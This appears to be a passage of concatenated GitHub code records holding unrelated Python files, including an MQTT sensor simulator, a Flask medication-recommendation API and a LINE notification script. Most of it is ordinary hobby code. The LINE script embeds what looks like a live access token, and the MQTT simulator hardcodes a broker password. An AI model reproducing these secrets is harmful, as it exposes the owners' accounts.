else:\n            break\ntv1 = TV(volume=25, canal=c)\nmenu()\n\n\n\n\n","repo_name":"Nilsonsantos-s/Praticando","sub_path":"Python/Python Brasil (SITE)/Programação Orientada a Objetos (POO)/Classe TV/Classe TV.py","file_name":"Classe TV.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"11762385864","text":"from pathlib import Path\n\nimport numpy\n\nfrom seqvec_search.data import LoadedData\nfrom seqvec_search.main import faiss_search, make_figure, evaluate_faiss\n\n\ndef main():\n    data = LoadedData.from_options(path=Path(\"test-data/pfam-20-10\"))\n    results, _, _ = faiss_search(\n        numpy.load(str(data.train)), numpy.load(str(data.test)), data.hits\n    )\n    auc1s1, _ = evaluate_faiss(data, results)\n\n    data = LoadedData.from_options(path=Path(\"test-data/pfam-20-10-sum\"))\n    results, _, _ = faiss_search(\n        numpy.load(str(data.train)), numpy.load(str(data.test)), data.hits\n    )\n    auc1s2, _ = evaluate_faiss(data, results)\n\n    make_figure(\n        Path(\"data\"),\n        [auc1s1, auc1s2],\n        [\"LSTM1\", \"SUM\"],\n        \"AUC1\",\n        \"auc1_lstm1_vs_sum.jpg\",\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"konstin/knn-for-homology","sub_path":"seqvec_search/lstm1_vs_sum.py","file_name":"lstm1_vs_sum.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"33343325037","text":"# -*- coding: utf-8 -*-\nimport math\n\nimport urwid\n\n\nclass Grid(urwid.WidgetWrap):\n    def __init__(self):\n        super().__init__(urwid.GridFlow([], 0, 1, 0, \"left\"))\n        self.__width = 0\n\n    @property\n    def width(self):\n        return self.__width\n\n    def __update_cell_width(self):\n        result = 0\n        if self._w.contents:\n            item_count = len(self._w.contents)\n            result = max(len(i[0].text) for i in self._w.contents)\n            if self.width:\n                tmp = self.width // (result + 1)\n                tmp = math.ceil(item_count / tmp)\n                tmp = math.ceil(item_count / tmp)\n                result = (self.width // tmp) - 1\n        if self._w.cell_width != result:\n            self._w.cell_width = result\n\n    @property\n    def contents(self):\n        return self._w.contents\n\n    @contents.setter\n    def contents(self, contents):\n        self._w.contents = contents\n        self.__update_cell_width()\n\n    def render(self, size, focus=False):\n        canvas = super().render(size, focus)\n        tmp = canvas.cols()\n        if self.width != tmp:\n            self.__width = tmp\n            self.__update_cell_width()\n        return canvas\n","repo_name":"NimVek/pyfugue","sub_path":"src/pyfugue/ui/urwid/widget/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31322529792","text":"import paho.mqtt.client as mqtt  # import the client1\nimport time\nimport json\nimport time\nfrom datetime import datetime\nfrom random import randint\nimport uuid\n\nQOS1 = 1\nQOS2 = 1\nCLEAN_SESSION = True\nbroker = \"127.0.0.1\"\nMQTT_CREDENTIALS = {\"user_name\": \"admin\",\n                    \"password\": \"bkcloud\"}\n\n\nclass BoardSimulator:\n    CONNECT_TIMEOUT = 1\n    AUTHENTICATION_TIMEOUT = 1\n    ARDUINO = 'ARDUINO'\n    NODE_MCU = 'NODE_MCU'\n\n    def __init__(self, name, mac_address, board_type, clean_session):\n        # client connection to mqtt broker\n        self.name = name\n        self.mqtt_client = mqtt.Client(mac_address,\n                                       clean_session=clean_session)\n        # identifier of this board is it's MAC Address\n        # self.mac_address = '00:A0:C9:14:C8:29'\n        # # board_type: ESP, NODE_MCU\n        # self.board_type = 'ESP'\n        self.mac_address = mac_address\n        self.board_type = board_type\n        # register topic\n        self.send_authenticate_topic = '/icse/authenticate_board'\n        self.receive_authenticate_topic = \\\n            self.mac_address + '/icse/authenticate_board'\n        self.data_topic = 'icse/data'\n        self.username_pw_set(username=MQTT_CREDENTIALS['user_name'],\n                             password=MQTT_CREDENTIALS['password'])\n        # register handler\n        self.mqtt_client.message_callback_add(self.receive_authenticate_topic,\n                                              self.on_authenticate_msg)\n        self.mqtt_client.on_message = self.on_message_handler\n        self.mqtt_client.on_connect = self.on_connect_handler\n        self.mqtt_client.on_publish = self.on_publish_handler\n        self.mqtt_client.on_disconnect = self.on_disconnect_handler\n        # state properties\n        self.is_connected = False\n        self.is_authenticated = False\n\n    def connect(self, host, port=1883):\n        print(\"connecting to \", host)\n        self.mqtt_client.connect(host, port=port)\n        self.mqtt_client.loop_start()\n        time.sleep(BoardSimulator.CONNECT_TIMEOUT)\n        if self.is_connected is False:\n            print(\"Failed to connect to broker \" + host)\n            return False\n        else:\n            print(\"Successful to connect to broker \" + host)\n            # after connected with broker, authenticate with server by message\n            # is_authenticated = self.authenticate_with_server()\n            # return is_authenticated\n            return True\n\n    def on_connect_handler(self, client, user_data, flags, rc):\n        if rc == 0:\n            self.is_connected = True\n        print(\"Connected flags \", str(flags), \"result code \", str(rc))\n\n    def authenticate_with_server(self):\n        self.mqtt_client.subscribe(self.receive_authenticate_topic)\n        authentication_info = {\n            'mac_address': self.mac_address,\n            'board_type': self.board_type\n        }\n        # retry authenticate 3 times\n        for k in range(0, 3):\n            client.publish(\n                self.send_authenticate_topic,\n                json.dumps({authentication_info}))\n            time.sleep(BoardSimulator.AUTHENTICATION_TIMEOUT)\n            if self.is_authenticated is True:\n                break\n        self.mqtt_client.unsubscribe(self.receive_authenticate_topic)\n        return self.is_authenticated\n\n    def on_authenticate_msg(self, client, user_data, message):\n        self.is_authenticated = True\n        print('Current client is authenticated with server!')\n\n    @staticmethod\n    def on_message_handler(client, user_data, message):\n        print(\"message received  \", str(message.payload.decode(\"utf-8\")))\n\n    @staticmethod\n    def on_publish_handler(client, user_data, mid):\n        pass\n\n    @staticmethod\n    def on_disconnect_handler(client, user_data, flags, rc=0):\n        m = \"DisConnected flags\" + \"result code \" + str(rc)\n        print(m)\n\n    def publish_data(self, topic, message):\n        self.mqtt_client.publish(topic,\n                                 json.dumps(message))\n\n\nif __name__ == \"__main__\":\n    try:\n        arduino_simulator = BoardSimulator(name=\"board_4\",\n                                           mac_address='00:A0:C9:14:C8:29',\n                                           board_type=BoardSimulator.ARDUINO,\n                                           clean_session=CLEAN_SESSION)\n        is_connected = arduino_simulator.connect(host='127.0.0.1', port=1883)\n        if is_connected is True:\n            is_authenticated = arduino_simulator.authenticate_with_server()\n\n        if is_authenticated is True:\n            # publish message to MQTT broker\n            base_temperature = 5\n            # temperature mid range: 30, range 5-40\n            base_humidity = 20\n            # humidity mid range: 50, range 20 -100\n            base_light = 0\n            # light mid range: 500, range 0 -1000\n\n            for i in range(1, 20000):\n                sensor_data = {\n                    'light_data': {\n                        'value': base_light + randint(600, 1000),\n                        'unit': 'lux'\n                    },\n                    'humidity_data': {\n                        'value': base_humidity + randint(0, 80),\n                        'unit': 'percent'\n                    },\n                    'temperature_data': {\n                        'value': base_temperature + randint(0, 35),\n                        'unit': 'celsius'\n                    },\n                }\n                board_data = {\n                    'mac_address': arduino_simulator.mac_address,\n                    'time_stamp': int(round(time.time() * 1000)),\n                    'time_precision': 'millisecond',\n                    'author': \"HMC\"\n                }\n                publish_data = {\n                    'board_data': board_data,\n                    'sensor_data': sensor_data\n                }\n                arduino_simulator.publish_data(\"icse/data\", publish_data)\n                time.sleep(0.5)\n                arduino_simulator.loop_stop()\n                arduino_simulator.disconnect()\n        else:\n            pass\n    except Exception as e:\n        print(e)\n","repo_name":"HaManhDong/BKCloud-OLP2017","sub_path":"cong/old_projects/monitoring-project-2/iot_simulator/node_mcu_board.py","file_name":"node_mcu_board.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"12635384929","text":"from werkzeug.utils import secure_filename\nfrom flask import Flask, render_template, request, jsonify,flash\nimport pandas as pd\nfrom pymongo import MongoClient\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom apscheduler.schedulers.background import BackgroundScheduler\nimport pickle\nfrom flask_cors import CORS\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\nimport os\n\n# model = None\n\ndatabase_url = os.environ['DATABASE_URL']\nclient = MongoClient(database_url)\n\nsecret_key = os.environ['SECRET_KEY']\n\ndef run_aggregation():\n    db = client['test']\n    collection = db['patients']\n\n    pipeline =[\n    {\n        '$match': {\n            'health_record': {\n                '$elemMatch': {\n                    '$or': [\n                        {\n                            'collection_name': 'symptoms'\n                        }, {\n                            'collection_name': 'diseases'\n                        }, {\n                            'collection_name': 'medications'\n                        }\n                    ]\n                }\n            }\n        }\n    }, {\n        '$project': {\n            'health_record': {\n                '$filter': {\n                    'input': '$health_record',\n                    'as': 'record',\n                    'cond': {\n                        '$or': [\n                            {\n                                '$eq': [\n                                    '$$record.collection_name', 'symptoms'\n                                ]\n                            }, {\n                                '$eq': [\n                                    '$$record.collection_name', 'diseases'\n                                ]\n                            }, {\n                                '$eq': [\n                                    '$$record.collection_name', 'medications'\n                                ]\n                            }\n                        ]\n                    }\n                }\n            }\n        }\n    }, {\n        '$match': {\n            'health_record': {\n                '$elemMatch': {\n                    '$or': [\n                        {\n                            'collection_name': 'symptoms'\n                        }, {\n                            'collection_name': 'diseases'\n                        }, {\n                            'collection_name': 'medications'\n                        }\n                    ]\n                }\n            }\n        }\n    }, {\n        '$match': {\n            'health_record': {\n                '$elemMatch': {\n                    '$or': [\n                        {\n                            'collection_name': 'symptoms'\n                        }, {\n                            'collection_name': 'diseases'\n                        }, {\n                            'collection_name': 'medications'\n                        }\n                    ]\n                }\n            }\n        }\n    }, {\n        '$match': {\n            'health_record': {\n                '$elemMatch': {\n                    '$or': [\n                        {\n                            'collection_name': 'symptoms'\n                        }, {\n                            'collection_name': 'diseases'\n                        }, {\n                            'collection_name': 'medications'\n                        }\n                    ]\n                }\n            }\n        }\n    }, {\n        '$project': {\n            '_id': 0,\n            'health_record': {\n                '$map': {\n                    'input': '$health_record',\n                    'as': 'record',\n                    'in': {\n                        'collection_name': '$$record.collection_name',\n                        'names': {\n                            '$map': {\n                                'input': '$$record.data',\n                                'as': 'item',\n                                'in': '$$item.name'\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n]\n\n    return list(collection.aggregate(pipeline))\n\ndef run_aggregation_certain_id(string_id):\n        db = client['test']\n        collection = db['patients']\n        pipeline = [\n            {\n                '$match': {\n                    'profile.nationalId': string_id\n                }\n            }, {\n                '$project': {\n                    '_id': 0,\n                    'health_record': {\n                        '$filter': {\n                            'input': '$health_record',\n                            'as': 'record',\n                            'cond': {\n                                '$in': [\n                                    '$$record.collection_name', [\n                                        'symptoms', 'diseases'\n                                    ]\n                                ]\n                            }\n                        }\n                    }\n                }\n            }, {\n                '$project': {\n                    'health_record': {\n                        '$map': {\n                            'input': '$health_record',\n                            'as': 'record',\n                            'in': {\n                                'collection_name': '$$record.collection_name',\n                                'names': '$$record.data.name'\n                            }\n                        }\n                    }\n                }\n            }\n        ]\n        return list(collection.aggregate(pipeline))\n\n    # # Create a BackgroundScheduler object\n    # scheduler = BackgroundScheduler()\n    #\n    # # Schedule your aggregation function to run every hour\n    # scheduler.add_job(run_aggregation, 'interval', hours=1)\n    #\n    # # Start the scheduler\n    # scheduler.start()\n\n\n\n\n\n\n\napp = Flask(__name__)\n\n\n# CORS(app, origins='www.google.com')\n# Limiter(get_remote_address, app=app, default_limits=[\"10/minute\"])\n\n@app.before_request\ndef authenticate():\n    if request.get_json().get(\"key\") != secret_key:\n        return jsonify({\"message\":'invalid API key'})\n\n\n@app.route('/train',  methods=['POST'])\ndef handle_train():\n    try:\n        result = run_aggregation()\n        data = [record['health_record'] for record in list(result)]\n        values_only = []\n\n        for lst in data:\n            new_dict = {}\n            for item in lst:\n                collection_name = item['collection_name']\n                names = item['names']\n                if names:\n                    new_dict[collection_name] = names\n            if new_dict:\n                values_only.append(new_dict)\n        print(values_only)\n\n\n        symptoms = pd.DataFrame()\n        rows = []\n        for doc in values_only:\n            array = []\n            for key in doc:\n                if key == 'medications':\n                    continue\n                else:\n\n                    for i in doc[key]:\n                        array.append(i)\n            rows.append(array)\n\n        symptoms = pd.DataFrame(rows)\n        print(symptoms)\n        medications = pd.DataFrame()\n        rows = []\n        for doc in values_only:\n            array = []\n            for key in doc:\n                if key == 'medications':\n\n                    for i in doc[key]:\n                        array.append(i)\n            rows.append(array)\n\n        medications = pd.DataFrame(rows)\n        print(medications)\n################################################################## convert to 0s and 1s for symptoms\n        all_symptoms = []\n\n        # iterate over each row of the dataframe\n        for index, row in symptoms.iterrows():\n            # iterate over each value in the row and append it to the list\n            for symptom in row:\n                all_symptoms.append(str(symptom).strip())\n\n        all_symptoms = set(all_symptoms)\n        if 'None' in all_symptoms:\n            all_symptoms.remove('None')\n        print(all_symptoms)\n\n        new_symptoms = pd.DataFrame(columns=list(all_symptoms))\n\n        new_row = [0] * new_symptoms.shape[1]\n        counter = -1\n        for index, row in symptoms.iterrows():\n\n            for symptom in list(row):\n                symptom = str(symptom).strip()\n                if symptom == 'nan':\n                    counter = -1\n                    break\n\n                for column in new_symptoms.columns:\n                    counter += 1\n                    if symptom == column:\n                        new_row[counter] = 1\n                        counter = -1\n                        break\n\n            new_symptoms.loc[len(new_symptoms)] = new_row\n\n            new_row = [0] * new_symptoms.shape[1]\n            counter = -1\n################################################################## convert to 0s and 1s for medications\n        all_medications = []\n\n        # iterate over each row of the dataframe\n        for index, row in medications.iterrows():\n            # iterate over each value in the row and append it to the list\n            for medication in row:\n                all_medications.append(str(medication).strip())\n\n        all_medications = set(all_medications)\n        if 'None' in all_medications:\n            all_medications.remove('None')\n        print(all_medications)\n\n        new_medications = pd.DataFrame(columns=list(all_medications))\n\n        new_row = [0] * new_medications.shape[1]\n        counter = -1\n        for index, row in medications.iterrows():\n\n            for medication in list(row):\n                medication = str(medication).strip()\n                if medication == 'nan':\n                    counter = -1\n                    break\n\n                for column in new_medications.columns:\n                    counter += 1\n                    if medication == column:\n                        new_row[counter] = 1\n                        counter = -1\n                        break\n\n            new_medications.loc[len(new_medications)] = new_row\n\n            new_row = [0] * new_medications.shape[1]\n            counter = -1\n#######################################\n        percentages_dict = {medication: {symptom: {1: None, 0: None} for symptom in all_symptoms} for medication in\n                            all_medications}\n\n        data = pd.concat([new_symptoms, new_medications], axis=1)\n        for medication in percentages_dict:\n            data_filtered_by_current_medication = data[data[medication] == 1]\n            for symptom in all_symptoms:\n                current_symptom = percentages_dict[medication][symptom]\n                current_symptom[1] = (data_filtered_by_current_medication[symptom] == 1).sum() /  data_filtered_by_current_medication.shape[0]\n                current_symptom[0] = 1 - current_symptom[1]\n\n        print(percentages_dict)\n        pickle.dump(percentages_dict, open('percentages_dict.sav', 'wb'))\n        return jsonify({\"message\": 'trained successfully!!'})\n    except:\n        return jsonify({\"message\":'there was a problem'})\n\n\n\n\n\n\n\n\n@app.route('/predict',  methods=['POST'])\ndef handle_predict():\n    try:\n\n        body = request.get_json()\n\n#########################################\n        if not body.get('id'):\n            return jsonify({'message':\"please enter id\"})\n        input_id = body.get('id')\n\n\n        result = run_aggregation_certain_id(input_id)\n        data = [record['health_record'] for record in list(result)]\n        values_only = []\n        for lst in data:\n            new_dict = {}\n            for item in lst:\n                collection_name = item['collection_name']\n                names = item['names']\n                if names:\n                    new_dict[collection_name] = names\n            if new_dict:\n                values_only.append(new_dict)\n        print(values_only)\n        input_patient_symptoms_from_id = []\n\n        for item in values_only:\n            for key, value in item.items():\n                input_patient_symptoms_from_id.extend(value)\n\n        print('from id input',input_patient_symptoms_from_id)\n        if len(input_patient_symptoms_from_id) == 0:\n            input_patient_symptoms_from_id.append(\"\")\n        ###############################################\n        percentages_dict = pickle.load(open('percentages_dict.sav', 'rb'))\n        result_dict = {}\n        for medication in percentages_dict.keys():\n            percentage_of_medication_presence_absence = 0\n            percentage_of_medication_presence_only = 0\n            for symptom in percentages_dict[medication].keys():\n                if symptom in input_patient_symptoms_from_id:\n                    percentage_of_medication_presence_absence += percentages_dict[medication][symptom][1]\n                    percentage_of_medication_presence_only += percentages_dict[medication][symptom][1]\n                else:\n                    percentage_of_medication_presence_absence += percentages_dict[medication][symptom][0]\n\n            Prescribed_for_such_symptoms_and_such_absence_of_symptoms_by = int(percentage_of_medication_presence_absence / len(percentages_dict[medication]) * 100)\n            Prescribed_for_such_case_by =int(percentage_of_medication_presence_only / len(input_patient_symptoms_from_id) * 100)\n            result_dict[medication] = [Prescribed_for_such_symptoms_and_such_absence_of_symptoms_by,Prescribed_for_such_case_by]\n        return jsonify({'message':result_dict})\n    except:\n        return jsonify({'message':'there was a problem'})\n\n\n\n\n\n\nif __name__ == '__main__':\n    app.run()","repo_name":"GalaluddinOwais/mhfp-recommendation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70026696697","text":"n = int(input())\np = list(map(int, input().split()))\n\nset_ = set()\nmin_ = 0\n\nfor i in range(n):\n    set_.add(p[i])\n    while min_ not in set_:\n        min_ += 1\n    print(min_)\n","repo_name":"ck-ksst/AtCoder","sub_path":"NAIST/2022/0603/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39022501542","text":"class ListNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\n\nclass Lists(object):\n    def createList(self, lists):\n        head = None\n        for item in lists:\n            if not head:\n                head = ListNode(item)\n                p = head\n            else:\n                p.next = ListNode(item)\n                p = p.next\n        return head\n","repo_name":"yuyier/brushQuestions","sub_path":"leetCode/list_node.py","file_name":"list_node.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9649821176","text":"from PIL import Image\n# from matplotlib import pyplot\n\n# Initialize variables\nwidth = 1920\nheight = 1080\nwidth_UHD = 3840\nheight_UHD = 2160\nUHD = False\nSAR = True # Supported Aspect Ratio\nblack_frame = False\npixel_sum_lines = []\n\n# file = '/Users/delue003/PycharmProjects/images/megaMan.jpg'\n# file = '/Users/delue003/PycharmProjects/images/swars4.mov_frame1.jpg'\n\ndef ANALyzer(path_name):\n    global height\n    global height_UHD\n    global UHD\n    global pixel_sum_lines\n    global black_frame\n    global SAR\n    black = 10000\n    height = 1080\n    height_UHD = 2160\n    UHD = False\n    black_frame = False\n    SAR = True\n    pixel_sum_list = []\n    line_sum_list = []\n    pixel_sum_lines = [] # Needs to be on to reset the function, otherwise the result will be be cumulative\n    im = Image.open(path_name)  # load the image\n    seq_obj = list(im.getdata(band=None)) # analyzes image and reports pixel values as tuples in one long list (flattens?)\n    if len(seq_obj) == 2073600: # HD pixel count\n        lines = [seq_obj[x:x+1920] for x in range(0, len(seq_obj), 1920)] # splits list into objects containing 1920 tuples\n        for i in range(len(lines)): # increment through the lines of 1920 pixel tuples\n            for j in range(1920): # increment through the pixels in the line\n                pixel_sum = lines[i][j][0] + lines[i][j][1] + lines[i][j][2] # add the R,G,B values of each pixel. Note: i = the line number, j = to the pixel number, and the 3rd element is equal to the channel value\n                pixel_sum_list.append(pixel_sum) # Create new list of all pixel RGB value sums\n        pixel_sum_lines = [pixel_sum_list[x:x + 1920] for x in range(0, len(pixel_sum_list), 1920)] # splits list into objects containing 1920 tuples\n        for k in range(len(pixel_sum_lines)):\n            line_sums = sum(pixel_sum_lines[k]) # adds summed pixel RGB values for each line\n            line_sum_list.append(line_sums)\n        for l in line_sum_list:\n            if l < black:\n                height -= 1\n        if height == 0:\n            black_frame = True\n    elif len(seq_obj) == 8294400: # UHD pixel count\n        UHD = True\n        lines = [seq_obj[x:x+3840] for x in range(0, len(seq_obj), 3840)] # splits list into objects containing 3840 tuples\n        for i in range(len(lines)): # increment through the lines of 3840 pixel tuples\n            for j in range(3840): # increment through the pixels in the line\n                pixel_sum = lines[i][j][0] + lines[i][j][1] + lines[i][j][2] # add the R,G,B values of each pixel. Note: i = the line number, j = to the pixel number, and the 3rd element is equal to the channel value\n                pixel_sum_list.append(pixel_sum) # Create new list of all pixel RGB value sums\n        pixel_sum_lines = [pixel_sum_list[x:x + 3840] for x in range(0, len(pixel_sum_list), 3840)] # splits list into objects containing 3840 tuples\n        for k in range(len(pixel_sum_lines)):\n            line_sums = sum(pixel_sum_lines[k]) # adds summed pixel RGB values for each line\n            line_sum_list.append(line_sums)\n        for l in line_sum_list:\n            if l < black:\n                height_UHD -= 1\n        if height_UHD == 0:\n            black_frame = True\n    else:\n        SAR = False\n\n\ndef print_line_sum(path):\n    with open(f'{path}', 'w') as f:  # create a text file and store in variable 'f'\n        print('Line #   Pixel Sum', file=f)\n        for k in range(len(pixel_sum_lines)):\n            print(f'Line {k+1}.   {sum(pixel_sum_lines[k])}', file=f)\n        f.close()\n\ndef is_black_frame():\n    return black_frame\n\ndef is_SAR():\n    return SAR\n\ndef get_resolution():\n    if not UHD:\n        resolution = str(width) + ' x ' + str(height)\n        return resolution\n    elif UHD:\n        resolution = str(width_UHD) + ' x ' + str(height_UHD)\n        return resolution\n\ndef get_aspect_ratio():\n    if not UHD:\n        aspect_ratio = str(width / height)\n        return aspect_ratio\n    elif UHD:\n        aspect_ratio = str(width_UHD / height_UHD)\n        return aspect_ratio\n\n\n\n### Use to check individual pixels\n# pel = lines[137][0]\n# if pel[0] + pel[1] + pel[2] < 4:\n#     print('This is a black pixel.')\n# else:\n#     print('This is an active pixel.')\n\n\n","repo_name":"rockMan83/Annie","sub_path":"aspectRatioANALyzer.py","file_name":"aspectRatioANALyzer.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40216713678","text":"import unittest\nimport logging\nimport mox\nfrom nose.tools import nottest\nfrom sentinel.predicate.simple import SimplePredicate\nfrom sentinel.predicate.factory import PredicateFactory\n\nclass PredicateFactoryTest(unittest.TestCase):\n    def setUp(self):\n        self.mox = mox.Mox()\n        self.comp_name = \"Test Predicate Or\"\n        \n        self.predat = SimplePredicate(\"a\")\n        self.predat.set_met(True)\n        self.predbt = SimplePredicate(\"b\")\n        self.predbt.set_met(True)\n\n        self.predaf = SimplePredicate(\"a\")\n        self.predbf = SimplePredicate(\"b\")\n\n        self.list = [ self.predaf, self.predbf, self.predat, self.predbt]\n\n        self.factory = PredicateFactory(component_name=\"factory\", parent=None, zkclient=None,\n                 proc_client=None, system=None, pred_list=self.list)\n\n    def tearDown(self):\n        pass\n\n    def test_match(self):\n        new = SimplePredicate(\"a\");\n        ret = self.factory._ensure_new(new)\n        self.assertTrue( new is not ret)\n        \n    def test_no_match(self):\n        new = SimplePredicate(\"c\");\n        ret = self.factory._ensure_new(new)\n        self.assertTrue( new is ret)\n\n\n","repo_name":"edwardleeatspot/zoom","sub_path":"sentinel/agent/test/predicate/factory_test.py","file_name":"factory_test.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"30581104094","text":"#alerttoline.py\n# pip install songline\nfrom songline import Sendline\ntoken = 'pfowYBNrqs8SJ0JkPEwj5L1wdMA9qx0wUsKelWeb1Jm'\n\nmessenger = Sendline(token)\n\n#send message\nmessenger.sendtext('สวัสดีจ้าา ลุงสั่งออร์เดอร์ 1000 รายการ')\n\n#send sticker\nmessenger.sticker(14,1,'ลูกค้าสั่งมา')\n\n#send image\nmessenger.sendimage('https://img.pngio.com/python-logo-python-logo-png-268_300.png')","repo_name":"vick42uho/Arsenal_Store","sub_path":"myapp/alerttoline.py","file_name":"alerttoline.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"th","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73073223417","text":"import os\nimport pathlib\nimport sys\n\nfrom cellpy.parameters.internal_settings import get_headers_journal\nfrom cellpy.parameters.legacy.internal_settings import (\n    headers_journal_v0 as hdr_journal_old,\n)\nfrom cellpy.utils.batch_tools.batch_journals import LabJournal\n\nhdr_journal_new = get_headers_journal()\n\ntrans_dict = {hdr_journal_old[key]: hdr_journal_new[key] for key in hdr_journal_new}\nprint(trans_dict)\n\nroot_dir = pathlib.Path(\"/scripts/processing_cellpy\").resolve()\nall_files = list(root_dir.rglob(\"cellpy_batch*.json\"))\ntest_file = r\"C:\\scripts\\cellpy\\testdata\\batchfiles\\cellpy_batch_test.json\"\ntest_file2 = r\"C:\\scripts\\cellpy\\testdata\\db\\cellpy_batch_test.json\"\nall_files.extend([test_file, test_file2])\nfor f in all_files:\n    print(f\"processing {f}\")\n    journal = LabJournal(db_reader=None)\n    journal.from_file(f, paginate=False)\n    print(journal.pages.columns)\n    print(journal.pages.head())\n    journal.pages.rename(columns=trans_dict, inplace=True)\n    print(journal.pages.head())\n    journal.to_file(f, paginate=False)\n","repo_name":"jepegit/cellpy_utilities","sub_path":"dev_utils/update_journal_files.py","file_name":"update_journal_files.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"43520988548","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom __future__ import division\n\nclass Projection(object):\n    \"\"\"\n    A projection of a polygon into rendered 2D space.\n    \"\"\"\n\n    def __init__(self, camera, coordinates, projected_z, normal, brightness, is_facing_camera):\n        '''\n\n        '''\n        self.camera = camera\n        self.coordinates = coordinates\n        self.projected_z = projected_z\n        self.normal = normal\n        self.brightness = brightness\n        self.is_facing_camera = is_facing_camera\n\n    def __str__(self):\n        return 'P[coordinates={} normal={}]'.format(self.coordinates, self.normal)\n","repo_name":"jrabbe/vector-renderer","sub_path":"renderer/projection.py","file_name":"projection.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"15674148983","text":"import pandas as pd\nfrom dateutil.parser import parse\nfrom typing import List\n\n\ndef parse_datetime(dt_string):\n    if isinstance(dt_string, str):\n        return parse(dt_string)\n    return None\n\n\ndef read_data(\n    csv_name: str,\n    timestamp_col: str,\n    target_col: str,\n    groupby_col: str,\n    group_keys_list: List\n) -> pd.DataFrame:\n    df = pd.read_csv(csv_name, sep=';')\n    df[timestamp_col] = df[timestamp_col].apply(parse_datetime)\n    df.dropna(subset=[target_col], inplace=True)\n    df[groupby_col] = df[group_keys_list[0]].astype(str)\n    for key in group_keys_list[1:]:\n        df[groupby_col] += '_' + df[key].astype(str)\n\n    df.sort_values([groupby_col, timestamp_col], inplace=True)\n\n    return df\n\n\nif __name__ == '__main__':\n    import os\n    from utils.load_env import load_section_vars\n\n\n    config_file = 'config.env'\n\n    if os.path.exists(config_file):\n        load_section_vars(config_file, 'common')\n        load_section_vars(config_file, 'train')\n    else:\n        raise Exception(f'File {config_file} not found.')\n\n    data_dir = os.environ['DATA_DIR']\n    train_csv = os.environ['TRAIN_CSV']\n    target_col = os.getenv('TARGET_COL')\n    timestamp_col = os.getenv('TIMESTAMP_COL')\n    groupby_col = os.getenv('GROUPBY_COL')\n    group_keys_list = os.getenv('GROUP_KEYS_LIST').split(',')\n    features_list = os.getenv('FEATURES_LIST').split(',')\n\n    df = read_data(\n        csv_name=os.path.join(data_dir, train_csv),\n        timestamp_col=timestamp_col,\n        target_col=target_col,\n        groupby_col=groupby_col,\n        group_keys_list=group_keys_list)\n\n    print(df.head(3).to_string())\n","repo_name":"nikolskydn/classifier_with_optuna","sub_path":"utils/read_data.py","file_name":"read_data.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2167258172","text":"import subprocess\n\n\ndef get_gce_instance_status(instance_name) -> str:\n    \"\"\"\n    Get Google Compute Engine instance status\n\n    :return:\n    \"\"\"\n    output = str(subprocess.check_output(['gcloud', 'compute', 'instances', 'list']))\n    lines = output.split('\\\\n')\n    for line in lines:\n        line_spt = line.split()\n        if line_spt[0] == instance_name:\n            return line_spt[-1]\n    return ''\n","repo_name":"hxssgaa/azero-stock-data-sync","sub_path":"futu/futu_sync_api.py","file_name":"futu_sync_api.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"69948357498","text":"# Uncomment behind to install the package\n\n# !pip install pandas-profiling\nimport gc\n\nimport pandas_profiling\n\n\n\nimport pandas as pd\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\n\n\nfrom time import time\n\nfrom pandas.api.types import is_datetime64_any_dtype as is_datetime\n\nfrom pandas.api.types import is_categorical_dtype\ndef reduce_mem_usage(df, use_float16=False, log=False):\n\n    \"\"\" Iterate through all the columns of a dataframe and modify the data type to reduce memory usage \"\"\"\n\n\n\n    start_mem = df.memory_usage().sum() / 1024**2\n\n    if log: print(\"Memory usage of dataframe is {:.2f} MB\".format(start_mem))\n\n    \n\n    for col in df.columns:\n\n        if is_datetime(df[col]) or is_categorical_dtype(df[col]):      # manage categorical columns\n\n            continue\n\n        col_type = df[col].dtype\n\n        \n\n        if col_type != object:\n\n            c_min, c_max = df[col].min(), df[col].max()\n\n            if str(col_type)[:3] == \"int\":                             # manage columns of type int\n\n                if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:\n\n                    df[col] = df[col].astype(np.int8)\n\n                elif c_min > np.iinfo(np.int16).min and c_max < 